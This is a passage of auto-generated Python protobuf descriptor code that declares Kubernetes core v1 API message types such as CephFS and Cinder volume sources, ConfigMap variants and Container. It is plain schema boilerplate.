_descriptor.FieldDescriptor( name='add', full_name='k8s.io.api.core.v1.Capabilities.add', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='drop', full_name='k8s.io.api.core.v1.Capabilities.drop', index=1, number=2, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2024, serialized_end=2065, ) _CEPHFSPERSISTENTVOLUMESOURCE = _descriptor.Descriptor( name='CephFSPersistentVolumeSource', full_name='k8s.io.api.core.v1.CephFSPersistentVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='monitors', full_name='k8s.io.api.core.v1.CephFSPersistentVolumeSource.monitors', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.CephFSPersistentVolumeSource.path', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='user', full_name='k8s.io.api.core.v1.CephFSPersistentVolumeSource.user', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretFile', full_name='k8s.io.api.core.v1.CephFSPersistentVolumeSource.secretFile', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.CephFSPersistentVolumeSource.secretRef', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.CephFSPersistentVolumeSource.readOnly', index=5, number=6, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2068, serialized_end=2238, ) _CEPHFSVOLUMESOURCE = _descriptor.Descriptor( name='CephFSVolumeSource', full_name='k8s.io.api.core.v1.CephFSVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='monitors', full_name='k8s.io.api.core.v1.CephFSVolumeSource.monitors', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.CephFSVolumeSource.path', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='user', full_name='k8s.io.api.core.v1.CephFSVolumeSource.user', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretFile', full_name='k8s.io.api.core.v1.CephFSVolumeSource.secretFile', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.CephFSVolumeSource.secretRef', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.CephFSVolumeSource.readOnly', index=5, number=6, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2241, serialized_end=2406, ) _CINDERPERSISTENTVOLUMESOURCE = _descriptor.Descriptor( name='CinderPersistentVolumeSource', full_name='k8s.io.api.core.v1.CinderPersistentVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='volumeID', full_name='k8s.io.api.core.v1.CinderPersistentVolumeSource.volumeID', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.CinderPersistentVolumeSource.fsType', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.CinderPersistentVolumeSource.readOnly', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.CinderPersistentVolumeSource.secretRef', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2409, serialized_end=2547, ) _CINDERVOLUMESOURCE = _descriptor.Descriptor( name='CinderVolumeSource', full_name='k8s.io.api.core.v1.CinderVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='volumeID', full_name='k8s.io.api.core.v1.CinderVolumeSource.volumeID', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.CinderVolumeSource.fsType', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.CinderVolumeSource.readOnly', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.CinderVolumeSource.secretRef', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2550, serialized_end=2683, ) _CLIENTIPCONFIG = _descriptor.Descriptor( name='ClientIPConfig', full_name='k8s.io.api.core.v1.ClientIPConfig', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='timeoutSeconds', full_name='k8s.io.api.core.v1.ClientIPConfig.timeoutSeconds', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2685, serialized_end=2725, ) _COMPONENTCONDITION = _descriptor.Descriptor( name='ComponentCondition', full_name='k8s.io.api.core.v1.ComponentCondition', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.ComponentCondition.type', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.ComponentCondition.status', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message', full_name='k8s.io.api.core.v1.ComponentCondition.message', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='error', full_name='k8s.io.api.core.v1.ComponentCondition.error', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2727, serialized_end=2809, ) _COMPONENTSTATUS = _descriptor.Descriptor( name='ComponentStatus', full_name='k8s.io.api.core.v1.ComponentStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.ComponentStatus.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conditions', full_name='k8s.io.api.core.v1.ComponentStatus.conditions', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2812, serialized_end=2957, ) _COMPONENTSTATUSLIST = _descriptor.Descriptor( name='ComponentStatusList', full_name='k8s.io.api.core.v1.ComponentStatusList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.ComponentStatusList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.ComponentStatusList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2960, serialized_end=3099, ) _CONFIGMAP_DATAENTRY = _descriptor.Descriptor( name='DataEntry', full_name='k8s.io.api.core.v1.ConfigMap.DataEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.ConfigMap.DataEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.ConfigMap.DataEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=3324, serialized_end=3367, ) _CONFIGMAP_BINARYDATAENTRY = _descriptor.Descriptor( name='BinaryDataEntry', full_name='k8s.io.api.core.v1.ConfigMap.BinaryDataEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.ConfigMap.BinaryDataEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.ConfigMap.BinaryDataEntry.value', index=1, number=2, type=12, cpp_type=9, label=1, has_default_value=False, default_value=b"", message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=3369, serialized_end=3418, ) _CONFIGMAP = _descriptor.Descriptor( name='ConfigMap', full_name='k8s.io.api.core.v1.ConfigMap', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.ConfigMap.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='immutable', full_name='k8s.io.api.core.v1.ConfigMap.immutable', index=1, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='data', full_name='k8s.io.api.core.v1.ConfigMap.data', index=2, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='binaryData', full_name='k8s.io.api.core.v1.ConfigMap.binaryData', index=3, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_CONFIGMAP_DATAENTRY, _CONFIGMAP_BINARYDATAENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=3102, serialized_end=3418, ) _CONFIGMAPENVSOURCE = _descriptor.Descriptor( name='ConfigMapEnvSource', full_name='k8s.io.api.core.v1.ConfigMapEnvSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='localObjectReference', full_name='k8s.io.api.core.v1.ConfigMapEnvSource.localObjectReference', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='optional', full_name='k8s.io.api.core.v1.ConfigMapEnvSource.optional', index=1, number=2, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=3420, serialized_end=3530, ) _CONFIGMAPKEYSELECTOR = _descriptor.Descriptor( name='ConfigMapKeySelector', full_name='k8s.io.api.core.v1.ConfigMapKeySelector', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='localObjectReference', full_name='k8s.io.api.core.v1.ConfigMapKeySelector.localObjectReference', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.ConfigMapKeySelector.key', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='optional', full_name='k8s.io.api.core.v1.ConfigMapKeySelector.optional', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=3532, serialized_end=3657, ) _CONFIGMAPLIST = _descriptor.Descriptor( name='ConfigMapList', full_name='k8s.io.api.core.v1.ConfigMapList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.ConfigMapList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.ConfigMapList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=3659, serialized_end=3786, ) _CONFIGMAPNODECONFIGSOURCE = _descriptor.Descriptor( name='ConfigMapNodeConfigSource', full_name='k8s.io.api.core.v1.ConfigMapNodeConfigSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='namespace', full_name='k8s.io.api.core.v1.ConfigMapNodeConfigSource.namespace', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.ConfigMapNodeConfigSource.name', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='uid', full_name='k8s.io.api.core.v1.ConfigMapNodeConfigSource.uid', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='resourceVersion', full_name='k8s.io.api.core.v1.ConfigMapNodeConfigSource.resourceVersion', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='kubeletConfigKey', full_name='k8s.io.api.core.v1.ConfigMapNodeConfigSource.kubeletConfigKey', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=3788, serialized_end=3912, ) _CONFIGMAPPROJECTION = _descriptor.Descriptor( name='ConfigMapProjection', full_name='k8s.io.api.core.v1.ConfigMapProjection', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='localObjectReference', full_name='k8s.io.api.core.v1.ConfigMapProjection.localObjectReference', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.ConfigMapProjection.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='optional', full_name='k8s.io.api.core.v1.ConfigMapProjection.optional', index=2, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=3915, serialized_end=4072, ) _CONFIGMAPVOLUMESOURCE = _descriptor.Descriptor( name='ConfigMapVolumeSource', full_name='k8s.io.api.core.v1.ConfigMapVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='localObjectReference', full_name='k8s.io.api.core.v1.ConfigMapVolumeSource.localObjectReference', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.ConfigMapVolumeSource.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='defaultMode', full_name='k8s.io.api.core.v1.ConfigMapVolumeSource.defaultMode', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='optional', full_name='k8s.io.api.core.v1.ConfigMapVolumeSource.optional', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=4075, serialized_end=4255, ) _CONTAINER = _descriptor.Descriptor( name='Container', full_name='k8s.io.api.core.v1.Container', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.Container.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='image', full_name='k8s.io.api.core.v1.Container.image', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='command', full_name='k8s.io.api.core.v1.Container.command', index=2, number=3, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='args', full_name='k8s.io.api.core.v1.Container.args', index=3, number=4, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='workingDir', full_name='k8s.io.api.core.v1.Container.workingDir', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='ports', full_name='k8s.io.api.core.v1.Container.ports', index=5, number=6, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='envFrom', full_name='k8s.io.api.core.v1.Container.envFrom', index=6, number=19, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='env', full_name='k8s.io.api.core.v1.Container.env', index=7, number=7, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='resources', full_name='k8s.io.api.core.v1.Container.resources', index=8, number=8, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeMounts', full_name='k8s.io.api.core.v1.Container.volumeMounts', index=9, number=9, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeDevices', 